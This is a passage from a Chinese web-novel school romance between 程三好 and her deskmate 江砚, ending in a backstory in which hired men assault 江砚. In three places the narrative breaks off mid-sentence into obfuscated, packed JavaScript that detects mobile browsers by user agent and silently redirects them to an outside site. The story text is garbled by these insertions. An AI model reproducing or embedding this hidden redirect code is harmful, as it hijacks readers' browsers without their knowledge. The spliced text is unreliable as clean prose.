“笔杆搭在中指上,不是去靠它,握笔可以高一点,不要离笔尖太近,下笔的时候用手腕发力,不是笔杆的三根手指,懂了?” 程三好似懂非懂地点头。 “好。”江砚放下笔,手就撑在桌子上,“你写一遍。” 男生就半圈着前面的人,姿势有一点强势,还有点压迫感。 程三好莫名紧张,像一位犯错被老师训的小学生一样,乖乖拿起笔又在纸上写了几个字。 “错了。” 少年人嗓音慵懒,他的声音就响在女生的耳畔。 呼吸间都是冷木香,程三好有点不自在,眼睛飘忽着说:“算了,算了,就这样吧。” 话音刚落,男生撑在桌面上的手指抬起轻点了一下桌面:“这么没学习精神?” 程三好被成功激到,嘴硬狡辩道:“我没有,但我的确没看出我们俩之间的区别啊。” 她说完,手背突然被人点了点:“建议我碰你吗?” 程三好眨巴着眼睛:“没事,现在你是老师,我是学生,都听你的。” 江砚就抬手拨弄女生的手指,让它待在笔杆上合适的位置,然后说:“手指尽量不要用力,手腕贴着纸面带着笔杆走,试一试。” 程三好就按照他所说的在草稿本上画了几笔,然后就又写了几个字,写着写着,她突然“哎”了一声,语气惊喜:“好像真的要轻松很多,手指不痛了!” 她慢慢摸索到了规律,在语文试卷上写了几个题,越写越开心:“真神奇,敢情我这么多年吃的苦都是自找的,谢谢你……” 她语气欢喜,一下扭过头,却不想差点撞到了自己的“好老师”。 两人脸与脸之间就离着几公分,她坐着微微扬头,他站着略微附身。 原先目光可能落在女生面前的桌子上,这会儿才调转目光,微掀眼皮看进女孩子的眼睛里。 程三好没什么想法,不到一秒就转过了头。 赶人:“接下来我要好好练习,练就无情铁手。” 男生垂下眼帘,直起身体,抽回了手,回到自己的座位。 中午,一起去食堂吃饭。 吃饭的间隙,程三好抬头,看见江砚饭盘中的份量,再比较自己的,不禁感到好笑:“到底是我饭量惊人,还是你胃口不佳,怎么,你要修仙啊?就吃这么一点。” 江砚一如既往没什么表情:“我对吃的没什么兴趣。” 程三好一乐:“看得出来,不只是对吃的没有兴趣,你是除了学习之外一概都不感兴趣。” 她说着,双手抱拳,对着男生一副佩服的口吻:“此等境界,我等凡人只好膜拜膜拜。” 江砚放下筷子,勾唇,不明显,看着对面的人说:“原来你喜欢这种?” “嗯?什么?” “一会儿是师生,一会儿是神仙凡人的,看来我对你了解的还不够。”他半挑眉,言语意味不明。 “咳,”程三好假装低头咳嗽一声,绕开这个话题,“今天的饭菜很不错,快吃,快吃,待会儿凉了。” 午休结束,下午下起了小雨。 学生们扯着嗓子,也没打伞,从寝室出来一路狂奔至教学楼。 那么多的人,大家都乐于在雨中狂奔,活力满满。 程三好对自己的身体清楚,举着一把香草绿的雨伞,慢悠悠地走在最后,不急不忙的。 她低头,绕开一个水洼,往干燥的地方走。 抬头时,看到一个熟悉的身影。 她快走几步,喊了一声:“江砚……” 男生停下步伐,等她到了自己的身侧才说了一句:“跑什么?” 程三好将伞举高,想要帮他遮雨。 江砚偏过身,他的头发上敷着一层细小的水珠,紧致的面容上也有湿意。 他说:“和男生同打一把伞,你知道意味着什么?” 神情有点严肃,但见伞下女生天真的眼神,知晓她压根没想这么多。 “……”江砚低头,去看人,那眼里的冰霜似乎被雨水冲刷掉了一些,“我先走,雨下大了,你慢点,不要跑。” 说着就不看程三好,抬腿快速走了。 程三好脸上挂着欣慰的笑,心想原来她的同桌是只纸老虎,外冷内热,真是一个好人。 于是她撑着伞,当真是一步接下一步,慢慢走。 雨天地滑,学生们又一个个地跑着。 回到教室,果然听到有些人摔倒了。 程三好将雨伞悬挂在窗台上,旁边的窗子半开着,冷风一阵一阵袭来,雨下得更大了,击打着玻璃,噼啪声绵绵不绝。 她看了一两秒,收回视线,将窗户关上,回到自己的座位坐下。 忽然感觉到小腹传来一股强烈的下坠感,紧接着热流划过腿间,是生理期到了。 离上课还有几分钟,她急忙从书包内袋里拿出一个卫生巾,塞进自己的校服外套口袋里,抬腿往教室外走。 边走边还不忘心想,真是完蛋了,提前两天来。 她根本没带着止痛药,但是人生要倒霉起来的时候毫不讲理。 中午吃了一个雪糕,这会儿都报应上来了。 其实小腹开始有些痛在上午就有点感觉了,但她经期一向很准时,就完全没有往这方面想,直到那一股熟悉的热流出现,她就确定,她的大姨妈提前造访了。 去厕所垫上卫生巾,她出来,看见老师正在往二十一班走,与此同时上课铃声打响。 她顾不得身体的不适,抬腿就跑,硬生生赶在老师进教室之前,先一步抬腿走了进去。 她喘着气,从讲台经过,径直走到最后一张桌子坐下,掏出书本。 每一次月经来,她痛经都很严重,在过去的日夜里,全靠一颗止疼药救她的命。 老师在讲台上讲着课,程三好微微弓腰,双手搭在桌子上看不出异样。 实际上只有她自己最清楚,老师说的什么她压根没有听进去。 小腹一下接一下地紧缩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大家闻声看过去,程三好喘了一口粗气,正要挣扎着站起来,就先听到旁边凳子刮蹭在瓷砖上发出的声音,紧接着她同桌清冽的,冷淡的嗓音在教室内响起。 “老师,她身体不舒服。” 地理老师皱眉:“哪不舒服?” 程三好咬住嘴唇。 “头疼。” 地理老师摆了摆手,说:“坐下吧,我们继续上课。” 程三好松了一口气。 她侧着头,脑袋搁在手臂上,睁开眼睛,就保持这个位置,看向江砚。 他的头发似乎是长长了一些,搭在眉毛下,疏离冷清。 嘴唇很薄,唇线抿紧,脸色有点白,是被冷的。 如果他没有被雨淋湿衣服,人家应该干干净净,舒舒服服地。 从教学楼到医务室并不近,外面雨又那般大,她不敢想,他是如何在短短的几分钟内买来的药。 似乎是她看的时间太久,亦或者是察觉到了她的视线,认真听课的少年侧头看了女生一眼。 见她眼睛红着,脸颊还有没来得及擦干净的眼泪,轻皱了一下眉,低下头写着什么。 两指搭着纸条,推了过去。 止痛药的药效已经慢慢上来了,程三好恢复了点力气,伸手拿过来,看清上面的字。 【还是很疼?】 她吸了吸鼻子,握笔在那行字的下面写道,【好一些了,谢谢你,我善良帅气,英俊潇洒,丰神俊朗,称霸一中,风靡全市的好同桌】 江砚正面坐着,没有偏头,左手拿过纸条,借着前面书籍的遮挡看清了上面的字。 他顿了一下,提笔写【那你哭什么】 【抱歉,太感动了,放心,眼泪不会淹了教室】 “……” 87. 青涩(校园) 跌宕起伏的一周终于过去,两人约好周日的时候去图书馆自习。 那会儿学校里很流行玩Mp3,很多人都提前将小说音频,音乐或者英语听力文件导入里面,插上耳机线就可以听了。 那玩意儿也不贵,程三好也买了一个,长方形的,蓝色,很小巧,揣兜里很方便。 图书馆中央列着一排排书架,穿过书架,窗边有放着一些桌子和凳子,学生们可以在上面抄笔记或者自习。 程三好选了一个靠墙边的角落位置,她将借来的书搁在桌子上,跟在她身后的江砚也随之拉开他她旁边的凳子坐了下来。 图书馆很安静,二人皆是认真学习起来很专注的那种。 江砚先一步看完了书,从书中抬起目光。 发现外面不知何时已经天色灰暗下来,浓厚的暗蓝色笼罩在整个校园。 他抬起手臂,看了一眼黑色的电子手表,已经六点过了。 头顶的白炽灯倒映在黄色的桌面上,他扭头,见女生戴着白色的有线耳机还在看书。 大概过了两三秒,他开口:“不吃饭吗?” 见人动都没动一下,他提醒:“六点了,要回教室。” 女生依旧没理他。 江砚昨天淋了雨,回去后还是感冒了,到现在身体都还是隐隐有些不舒服。 他抬手摸上女生的耳朵,将她的耳机摘了下来,嗓音沙哑:“跟你说话,没听到?” 语气有些不悦,离女生很近。 程三好是真没听到,她疑惑地嗯了一声,扭过头:“抱歉,我刚刚真没听见,你说什么?” “六点了,你不是要吃饭?” 程三好没问他怎么摸索出她吃饭的时间的,她听着江砚这有气无力的话,再看他的脸色,察觉出了不对:“你是不是发烧了?” 江砚眉头拧着,淡声:“没有。” 程三好小时候总生病,对这方面比较敏感,她神色担忧:“可能就是发烧了,你自己不知道。” 说着就要伸手去摸男生的额头,刚举到半空,突然顿住,手指蜷缩着要收回去。 手腕退到一半,蓦地被江砚握住。 “是吗?我不是很清楚,你摸摸。” 他的掌心很烫,拉着她贴上自己的额头时,程三好感受着那烫得惊人的皮肤,瞳孔微放大:“可以煎鸡蛋了都,先走,去医务室。” 说着就要起身,白色耳机线掉落坠在空中,蓝色的窗帘在风的吹拂下肆意飘动。 可能男生真的是烧糊涂了,他抓住女生的手一下按在了自己的怀里,声音很轻:“你陪我?” 程三好吞咽了一下口水,那只被江砚按着的手僵硬着根本不敢动,她说:“嗯,我陪你一起去。” 江砚这才放开女生的手,站起身,两人出了图书馆,坐电梯到达了一楼。 江砚却忽然变卦,说:“去吃饭,我自己一个人去就好。” 女生摇头:“我不饿,不是说好了陪你一起去吗?” 江砚撑着精神,清醒了一些:“现在不吃,待会儿晚自习你会饿,听话。” 他不再像平日里嘴巴跟碎了毒一样,总是捉弄程三好,此刻他这一番话算是很温柔了。 程三好却有点生气:“现在你生病了,当务之急,咱们应该去医务室对不对?走吧。” 说着率先转身往医务室的方向走,江砚无奈只能跟了上去。 医务室里只有医生一个人,听他说明了症状,就拿出一根温度计甩了甩,交给男生,让他测一□□温。 江砚接过来,撩起衣服下摆,准备将温度计塞在腋下。 程三好看着他露出来的一点肌肤,微微侧着身,离开视线。 五分钟过后,医生说:“可以了,拿出来给我。” 江砚就坐在白色的病床上,一只腿曲着,一只腿向前伸着。 他拿出温度计,给医生,听到对方过了一会儿说道:“三十九度五,高烧。” 程三好就站在床边,皱眉问:“那么严重,需要输液吗?” 医生说:“看个人需求吧,如果想要退烧快的话,肯定是输液,不急的话,吃药也可以。” 江砚眼皮低垂,说:“就吃药,麻烦您给我开些药。” “行。”医生转过身开始配药。 拿到药出了医务室,程三好犹豫片刻,还是说出了口:“要不要晚自习你就回寝室休息,我给你请假。” “不用。” 要不是江砚烧得嘴皮都有点干,外人还真看不出来他正在发烧。 程三好说:“行吧,你先回教室,我去食堂买点吃的。” 离七点上看新闻联播还有点时间,江砚没再说什么,抬腿往教学楼走了。 程三好去食堂买了一碗粥,自己随便拿了几个包子,边吃边跑回教室。 等回到座位,她的食物已经吃完了,将手中的粥递给同桌。 “你吃药了吗?” “还没。” “那正好,可算是让我赶上了,快先喝点粥,然后再吃药,这样不伤胃。” 江砚其实没什么胃口,但是见女生充满期待地看着他,只能拿起一次性勺子喝了几口才吃了药。 程三好将他桌子上的所有垃圾都收走,轻声说:“睡吧,看新闻联播这半个小时,我给你当门神打掩护,我今天将化身守护你的神。” 江砚也不知听没听到,真就双手搭着在桌子上趴下了。 三十分钟的新闻联播不知不觉就已结束,程三好探头看了一眼江砚的状态,不确定他有没有听到上课铃声,亦或者是真睡着了。 她在犹豫着要不要叫醒他,对方脑袋一动,直起了身。 — 翌日,天晴。 趁着课间休息的时间,班长拿着个本子走上讲台,说:“大家都安静一下,我来通知一件事。” “嗯,没错,咱们运动会要到了,班主任让我把各个项目的参赛人员给确定了,还有,特别声明一点——” “如果不报名参加的,剩下的所有女生要跳舞,作为到时候我们班的出场表演节目,而男生要负责搬运相关器械。” 他说完,教室内响起了一片哀嚎声。 “这不是逼迫嘛……” “烦死了,本来学习的时间就不够,就不能什么都不参加吗。” 班长是一位男生,声音洪亮:“安静,安静,我知道你们心中不痛快,但我也是没有办法的,只是按照班主任的吩咐行事,所以待会儿有意愿的可以到我这里来报名。” 他说完下了讲台,没过几分钟上课铃声就敲响了。 大家就是再不爽,也只能硬生生憋着。 江砚身体素质好,昨晚吃了一副药后,烧不久就退了。 今天早上起来,基本上除了嗓子还有点沙哑,没有哪里不舒服的地方。 到了中午,他收拾书包正要起身,班长却找到他,与他说:“我看你没有报名任何一个项目,要不要参加男子三千米长跑?” “不想。” 班长叹了一口气,他平时和江砚打篮球,也多算得上是朋友,他说:“男子三千米长跑只差一个人了,但我不管劝说谁,他们都不参加,我把自己也抵进去了,但还不够,就当是帮我的忙行吗?” 江砚没应声,余光里女生背着书包一直乖乖地站着一旁等他。 他轻皱了下眉,对着班长说:“把我名字写上去。” 说着转过身,对女生说:“走了。” 两人离开了教室,行过走廊,程三好与他闲聊:“我还以为你不会答应呢?” “他人固执。” 程三好笑了一下:“看不出来啊,我还以为他是那一种暖男类型的,如果别人拒绝,他就不再纠缠的那一种。” 完了,她又补充一句:“不过真的蛮有责任心的。” 江砚眼里看不清情绪,见她眼角弯着,忽而问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699606|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你很欣赏他?” “嗯……也谈不上吧,就是突然有一些感慨,为了完成班主任交给他的任务,不得不低三下四地跟人说话……就是心里感觉怪怪的。” 说话的期间,二人已经到了食堂门口。 江砚掀开帘子,扭头看着人:“怎么,心疼?” 程三好不知道为什么话题就偏到这儿了,她饿得不行,脚下步伐没停:“我还是先心疼心疼自己吧。” 下午最后一节课是体育课,阴了多日的天气终于转晴。 大家围在操场上显然都很兴奋,体育老师站在最前面说道:“过了今天以后,所有的体育课上,跳舞的女生会跟舞蹈老师也就是教你们音乐课的那个女老师去舞蹈室练习舞蹈,参加运动会的人员会留在操场由我监督训练。” “没跳舞又没参加运动会的,则可以回到教室自习,所以我想着,要不今天我就不上什么内容的,大家自由活动吧,想干什么就干什么,只要待在操场范围内就可以。” 大家乐见其成,欢呼声一片。 众人三五成群,勾肩搭背渐渐散开。 程三好站在原地,正想着要去观众席台下面坐着,就见江砚径直走到了她的跟前。 “你待会儿有事?” “没有什么事。” “那帮我计时?” “可以。” 两人走到一边,江砚将校服外套脱了下来,程三好识相接过来,抱在怀里。 她站在跑道内的草坪上,而江砚站在塑胶跑道起点上。 程三好见他准备好,低头按下手表功能的计时键,同时说了一声:“开始!” 江砚便跑了出去,他腿长,手臂摆动的姿势也很标准。 跑的过程中,速度放得很均匀。 程三好全程目光跟着他转,他跑到哪儿,她的眼睛就跟到哪儿。 当他经过终点时,一下按停了计时。 她见对方出了汗,担心他刚感冒不久又复发,想要将自己手中他的衣服给他穿上,就小跑了几步。 江砚显然也看见了她,离开跑道走向草坪。 程三好对上他的视线,边走近边有些激动地说:“十四分三十八秒,这个成绩……啊。” 鞋带不知何时已经散开,脚突然踩中,她惊呼一声,一下朝男生摔去。 两人齐齐摔倒在草坪上。 本来江砚应该是能稳住身体的,但他刚才出去一脚,重心还没稳住,女孩子整个人就砸向了他,以至于二人双双往后倒。 期间他一只手下意识撑了一下地面,另一只手护着人的后脑勺。 好在草坪很软,这才没出什么大事。 程三好几乎是双腿分开跪坐在他的身上,她手蹭在地面出了血,但顾不上自己,急忙有些担忧地问身下的人。 “江砚,没事吧?” 男生平躺着,闭着眼睛没有说话。 程三好哭丧着脸:“你可别吓我啊,你成绩那么好,生得那么俊,眼尾一扫,似乎有锋芒掠过,让人胆战心惊,邪魅一笑,狂娟霸道,迷倒万千少女……” “这简直就是男人中的男人,极品中的极品,你的存在就是为了造福子民,是女娲的巅峰之作,你不是人,你是神……你要是没了,让我怎么办啊……” 她的啊字还在口中没说完,□□贴着的肌肉突然抽动了一下。 刚才闭着眼睛的男生忽而挺身轻抬下颌笑着偏过头,嘴角上扬,狭长的眼眸坠着星芒。 腹部肌肉抽动的一瞬间,程三好被迫带着也动了一下。 她的这个角度,完全将男生所有微小的表情都尽收眼底。 男生脖颈修长,喉结明显。 他是边笑边微离了下地面,头往一侧偏过去。 勾唇笑着,没露齿,桃花眼似乎沾染上了醉意,又细又长地看她一眼。 他们姿势很糟糕,程三好在男生那个瑟气满满,蛊人十足的行为里红了脸。 88. [锁] [此章节已锁] 她自认为对江砚还算了解,所以当看到他一脸平静地闭着眼睛,躺在草坪上时,从他身上爬起来的瞬间,一下就能看出他是装的,然后她顺势而为说了一番话。 但她没想到,江砚平时脸上那么冷冰冰的人,会露出这么一个丰富的表情,就是很……蛊惑人。 他偏头过去,碎发随之而动遮挡住他的眼睛,但他的黑瞳却是看向她这一边的。 有几秒钟的时间,脑子里除了这个画面什么也想不起来。 直到破皮的手掌传来刺痛,她快速眨了几下眼睛,恢复清醒。 没受伤的一只手还搭在男生的胸膛,她收回,想要抬腿从他身上离开,第一次没成功。 江砚的腿不是伸展着的,而是屈膝竖着。 程三好双腿分开,膝盖着地。 她如果不用手向前撑住地面的话,是绝对会重新栽到江砚身上。 绷紧着身体,她欲再抬腿离开,然而男生的腿太长。 程三好抬到一半,就完全动弹不了,只能再度落回去,膝盖磕着地面,场面陷入僵局。 程三好从未与异性这般接触过,她倏地耳朵通红,眼睛里起了雾气,越是想逃,就越是与男生贴得更近。 “别动……” 身下的人突然出声,腹部肌肉硬得跟块石头一样,嗓音沙哑得不像话。 程三好现在就是四点着地,整个人像一只在陆地行走的考拉,正面朝下对着人,姿势不仅别扭还累。 她扭着头,不看人,露出来的肌肤都染上了红晕,也许是羞过头了,说话时带着点不知所措的哭腔:“江砚……你收收腿……” 她声音特别小,糯糯的,含含糊糊。 江砚喉结滚动,垂下眼皮,看向旁处,慢慢放平了腿。 程三好感觉到屁股上的热量褪去,就慌不迭从他身上起身,也不理会还躺在草坪上的男生,转身就走,速度飞快,走着走着,突然跑了起来,一路跑进了女厕所,将自己关在了一个隔间里。 坐在马桶上,弯下腰,埋起了脸。 总是忍不住想,太尴尬了。 羞耻的情绪不断地鞭笞着她,让她久久缓不过那个劲儿。 一直埋着脸大概过了十几分钟,她脸上的热意褪去,心情就像退潮过后的海水,渐渐变得平静。 海还是那片海,但不知从哪里来了一条小鱼,不停地在海水中流动,浮出海面,于空中跳跃旋转。 冒犯到男生的那个行为的确让人面红耳赤,感到尴尬,但是冷静下来的程三好,脑子里却再度浮现了男生刚才那个笑。 整个胸腔酥麻一片,想迫不及待地抓着什么东西填满似的,饥渴着。 不知道自己怎么了,只知道这种抓心挠肺感觉,她不但不讨厌,还有点隐隐的兴奋。 她浑身细胞好像冒着小火苗,噗噗噗地喷洒热气,渴望那冰凉的水浇灌。 突然特别想见江砚,想摸摸他,疯了…… 程三好思绪乱得不像话,隐隐约约觉得,她完了。 接下来的半天,二人之间一句话也没有说,仿佛回到了一开始的起点。 如果没有罗坤,他们可能一辈子也不会有交集,也不会看到表面冰冷不近人情的江砚皮囊下却有一颗细腻的心。 下课铃声突兀地插了进来,程三好咬着圆珠笔回过神,低下头快速收拾书。 明明停留的时间可能就一分钟不到,但她的心却不知为何扑通扑通跳起来,明明江砚没有看她,就像往常一样不受干扰的低头在写作业,但程三好就是感觉他占据了她的视线,让她想忽略都难。 脸颊忽而又起了热意,程三好快速拉上书包拉链,站起身准备走时,还是落下一句话。 “……我有事,我先走了。” 男生似乎停下笔,侧了一下头,最终还是没说什么,只是嗯了一声。 程三好听到回答,抬腿就走,而在接下来的几天里,二人就再也没有一同下晚自习过,包括中午吃饭或者下午放学,女生都借口说要和张悦她们一起。 江砚每一次都说没关系,他以为是女孩子脸皮薄,因为那一天在操场上的事而尴尬,所以躲着他。 他尊重她,给她时间消化,不逼她。 可倘若仅此便就罢了,然而事情远没有他想象得那么简单。 以前上课时,两人放在桌子上的手臂碰着手臂,谁也没离开,但是现在,女生手肘不小心碰到他,一下就立马像兔子一样缩回去,慌不迭跟他道歉,然后下一次就坐得离他远远的,两人之间直接可以再坐下一个人。 去图书馆借书,见她在拿书架上面的书,他走过去站到她身后,本意是想帮她拿下来,结果书取下来了,前面却没了人影。 他去了食堂,见她吃饭不小心吃到了香菜,也不再需要江砚的引导,自己主动去吐掉,挑出来香菜。 两人迎面走过,她对视上他的目光,却又马上离开,不再笑眼盈盈地瞧着他。 她正确的握笔姿势已经掌握了,不再跟他“请教”,不再在下晚自习后默默跟着他,担心他会被埋伏。 他们从早到晚同处在一个空间下,几乎将近十多个小时,说的话却只有寥寥几句。 在耳旁,再也听不到她带着点糯糯的嗓音,跟他装乖开玩笑。 她在躲他,也正在疏远他…… “下课时间到了,老师,同学你们辛苦了……” 教室前面的广播响起这道声音,上课的老师没有拖堂,提着公文包离开了。 江砚收回思绪,低下头发现,一整堂课下来,他一个字都没有写。 他轻皱了一下眉,垂着目光,搭在空白书页上的手指动了动,眼睫忽闪。 保持这个姿势大概过了三秒或者更长,他撕下一张便利贴,在上面写到什么。 完了,他两指压着那一小张黄色的标签往侧旁推,偏过头,看向女生,说:“你……” “韵清。”张悦站在讲台前面喊程三好。 两道声音撞到了一起,程三好刚要问江砚想说什么,前头的张悦就接着喊她:“快走啦,舞蹈老师让我们过去。” 她只好起身绕过男生,往前面走。 二人对话又是无疾而终,其实江砚试着想和她交流过,想问问她为什么这样做,但每一次不是时机不对,就是被人打断,再加上运动会即将到来,女生下午还有晚上都会被叫去舞蹈室练习舞蹈,所以出了教室,他想见她一面都难。 男生闭了下眼,无声地吐出一口气,将那张纸条揉进掌心,起身丢进了垃圾桶。 下午他没上课,请假去了校外。 江波突然有事不得不返回津市,他去送送他。 两人站在高铁站前,没有进去。 江波递给江砚一张卡,神情关忧:“我这一去,可能需要在那边多待些时日,这张卡你拿着,想买什么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719893|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买什么,是叔对你的一点心意。” 男生没接,他的个子已经要有江波高了,在同龄人中属于较高的类型。 语气虽然很淡,但眉宇间有忧色:“事情很棘手吗?” 江波笑起来,拍了拍他的肩膀:“这不是你需要担心的事情,你放心,有我在,江董不会有事,江氏企业也绝对不会被他江权清一个人占了去。” 见少年人不语,江波叹了一口气,知晓这样说,反到让他担心,就索性说了实话。 “江权清最近在疯狂清理门户,凡是以前跟着你爷爷忠心耿耿办事的,都被他想方设法地从集团里弄出去,所以我这一次去就是为了阻止他大换血的动作,没什么危险,就是会有一场拉锯战。你放心,叔我一定会尽快解决事情,接你回津市,离开这旮旯地方。” 江砚听到了实情,稍稍放下心,他说:“你别操心我,别总觉得我在这里吃了苦,其实……我现在挺满意这里的。” 江波瞧他那神情,开玩笑:“怎么?一开始你不还死活不来淮市这个地方吗?” 说到一半,他想到了什么,眼睛忽然亮了,八卦:“莫非是有喜欢的女孩子了?” 他说完,见江砚没否认,顿时像个老父亲一样,语气激动:“哎呀,咱们少爷这是情窦初开了啊,哪家女孩子啊?叫什么名?长得好看不?” 他一连串的问题炮轰而至,都不给江砚说话的机会。 旁边路人纷纷投来奇怪的目光,江波意识到自己激动过头了。 他咳嗽一声,清清嗓子,不好意思道:“你别怪叔激动,主要是我总觉得你不像是会动情喜欢女孩子的人,为着此事,你爷爷和我在私底下没少忧虑。” “现在好了,如果你爷爷醒过来听到这个消息,他必定比我还高兴。” 江砚没料到他是这样的反应,他看着人,问:“我早恋你们不反对?” “反对什么?小砚你长得这么帅,成绩那么好,看人的眼光必定不会差,那喜欢的女孩子必定也很不错,由此说来,你们就是天生一对,配得不能再配啊。” “所以你喜欢,你就追呗,等到时候津市的事情告一段落,我把你接来,你可抓紧时间把女孩子拐到手,到时候一并带到津市,我给她负责把学籍之类的办理好,让你们两个可以继续念书,一起长大……” 江砚少有地有耐心,没有打断人,就姿态懒散地站着,听他说话。 头顶的乌云不知何时散去,拨云见日后,露出阳光,内心某处郁结的东西忽然明了。 他的眉头舒展开来,整个人松弛了很多,说:“你不是要坐高铁去飞机场吗?时间不早了。” 江波嗯嗯了两声,却突然靠近江砚,在他耳边低语了几声。 没等他说完,少年就急忙后退了几步,语气难得带着点情绪:“波叔……” 江波哎呀了一声,笑着说:“害什么羞嘛,很正常,这种事男人好像天生就会,但是我还是不得不教你,只有尊重女生,一段关系才会走得长远。” “你看我们江家,不管是你的爷爷还是你的爸爸亦或者我,我们都是一生一世一双人的,你懂吗?能和初恋携手到老,可谓是人生最幸福的一件事了。” “……现在说你不懂不要紧,等你以后体会到,你会懂的,那就这样,我进站了,你打车回学校,路上小心。” 江砚挥手:“好。” “嗯,我走了。” 89. 灰色天空(校园) 看着江波的身影渐渐远去,进了高铁站,通过安检进去后。 江砚这才收回目光,转过身抬脚走了。 他去到马路对面,插兜等待,准备坐出租车回学校。 “江少……”这时突然有人从他背后叫了他一声。 他还未回头,一个黑色的布套笼罩住他的脑袋,视线黑暗中,小腿被人一踹,两只手臂被铁腕桎梏住,一时不能动弹,紧接着,他就被拖入了旁边的小巷里。 一把推向到地面,硬如石块,力道十足的拳脚就如细雨一般,清数落了下来。 他中途试图反抗,但终究寡不敌众,再加上视线受阻,他只能尽量防守,护住脏腑。 那些人并没有伤他的脸,大概是不想惹人猜忌,多生事端。 都是专业培训过的保镖,拳脚力道比常人重,狠厉,刻意绕开会致命的部位,多数伤在少年腹部以及背部。 黑暗中,注意力被迫集中在身上。 八分的疼痛化作十分,江砚蜷缩在用石块拼凑铺陈的地面上,硬生生抗住,没吭一声,没求一句饶。 人高马大,统一穿着黑t恤的几个成年男子站在他周围。 见地上的男生没有了动静,其中一个人说:“先缓一缓,别把人踹死了,待会儿还要问话。” 其他人纷纷停下了动作,齐声说:“好的,江哥。” 被小弟们拥护为江哥的男人叫江灼,他不苟言笑,皮肤粗糙,年龄在三十八岁左右。 农村出生,成绩也不好,从军队离开后,除了一身蛮劲儿没什么本领,所以找工作就难。 偏偏家中老母生病,急需做手术的钱,他白天在工地干活,晚上就去跑出租车,尽管没日没夜地干活,高昂的手术费遥遥无期。 他犹记得,遇见江全驰是在一个炎热的午后。 他戴着红色安全帽,蹲在工地前面的沙砾上边吃着盒饭边抹眼泪。 他一个大男人不轻易哭,但那天实属所有不幸的事情堆到了一起。 他被临时通知不能再开出租车,与此同时,也听到了母亲病情加重的消息。 两重打击下,他吃着饭菜,米饭塞进嘴里,却控制不住地颤抖痛哭。 能来工地上干活的,或多或少都是家里经济窘迫,急需钱的。 每个人都有自己的苦衷,就算干不动你还得顶着烈日继续干,别说晚上,就是白天也总会有崩溃痛哭的人。 所以当下江灼在路口那儿蹲着哭,工友们早已见怪不怪,抬起一双浑浊的双眼,神情木讷。 江灼那时二十五岁,人还没有现在这般壮。 他嘴皮干裂,穿着一身老头背衫,露出来的皮肤黑黄,尤其是后颈以及两只手臂处,都被晒伤,翻着可怕的干皮。 他的眼泪混着饭菜一并入了口,尝不出是眼泪咸还是菜更咸。 哪怕在痛哭,他也得逼着自己把饭吃饱,下午才能干活。 就在这时,远远地,他看见平时管理他们的包工头,以及现在正在建设这一块地产的建设公司——用心建设项目经理江权清,领着一个头发半白,眉峰凌厉的六十岁左右老人缓缓朝工地上走来。 他们都戴着安全帽,江灼听见自己的包工头老板,称呼那位老人叫江董。 那位不管从衣着打扮还是气质上,看上去都非富即贵的江董走在前面,项目负责人江经理正在跟他汇报工作进度。 而在他们三人背后,也齐刷刷地跟着几个穿着一身西装的用心建设公司高层。 那场面一看,就知道是上层领导来视察工作。 江灼有些不敢再看,慌忙低下头。 偏偏那位神色不怒自威的老人注意到了他,朝他走近,到了跟前,布满皱纹的脸上,凹陷的眼睛里倒映着他的脸,嗓音沉厚,掷地有声:“小伙子,哭什么?” 江灼不好意思,他慌忙擦干了眼泪,站起身,莽莽撞撞地鞠了一躬,语气有些结巴:“就是生活中遇到了不开心的事,一时没忍住,让您见笑了。” “什么不开心的事?” “……我白天在工地上干活,晚上就去开出租车,刚才突然得知车不能开了,我被辞了……而我母亲的病情又加重,我——” 他没有什么心眼子,面对这么一个从未见过或者接触过的大人物,他压根不敢撒谎,老老实实交代,说到后面几度哽咽说不下去。 江全驰眼睛瞳孔颜色有淡蓝,他看人,如同蛇的眼睛锁住了猎物:“是吗?包工头给你们结算的工资是多少?” “一天两百。” 老人嗯了一声,站在他身后的包工头却一脸大汗,不知是热的还是紧张的。 江全驰盯着这个年轻人,又问:“你多少岁了?” 江灼依旧保持鞠躬的姿势,不敢抬头,沉声道:“二十五。” “我看你这身板,当过兵?” 江灼到底是年轻,他有些激动地直起了身,说:“您怎么知道?” “我夫人的弟弟是某军区首长,我经常找他下棋,你这站姿和他挺像。” 江灼大气不敢踹,越加敬重:“原来如此。” “那你怎么不继续当兵了,跑到工地上来干活。” “……实不相瞒,唯一对我好的妈妈生病了,我跟班长请了一个长假,对方没批,我当时心情不好,就打了人,吃了处分,在军队也待不下去了,只能出来另谋出路。” 江全驰外面披着一件暗灰色的大衣,人老背却没有佝偻的情况。 他很高,这样站着,在商圈里摸爬滚打了几十年沉淀下来的经历,让他整个人的气质由内而外的散发着压迫感。 他说:“江波。” 叫江波的男人从后面走上前,低头聆听。 “支票。” 江波掏出一张没有填写数额的支票,以及一张笔递给江全驰。 老人接了过来,在上面刷刷刷地写了几笔,然后递给了前面这个年轻人,说:“这一张支票上有二十万,它应该足以支付你母亲的手术费,等你拿着这笔钱救了你母亲的命,你回来给我当司机兼保镖。” 